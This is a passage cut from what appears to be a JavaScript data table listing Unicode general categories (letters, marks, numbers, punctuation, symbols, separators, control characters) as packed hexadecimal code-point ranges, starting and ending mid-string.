0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",Ll:"0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A",Lu:"0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A",Lt:"01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC",Lm:"02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F",Lo:"01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",M:"0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26",Mn:"0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26",Mc:"0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC",Me:"0488048906DE20DD-20E020E2-20E4A670-A672",N:"0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",Nd:"0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",Nl:"16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF",No:"00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835",P:"0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65",Pd:"002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D",Ps:"0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62",Pe:"0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63",Pi:"00AB2018201B201C201F20392E022E042E092E0C2E1C2E20",Pf:"00BB2019201D203A2E032E052E0A2E0D2E1D2E21",Pc:"005F203F20402054FE33FE34FE4D-FE4FFF3F",Po:"0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65",S:"0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD",Sm:"002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC",Sc:"002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6",Sk:"005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3",So:"00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD",Z:"002000A01680180E2000-200A20282029202F205F3000",Zs:"002000A01680180E2000-200A202F205F3000",Zl:"2028",Zp:"2029",C:"0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB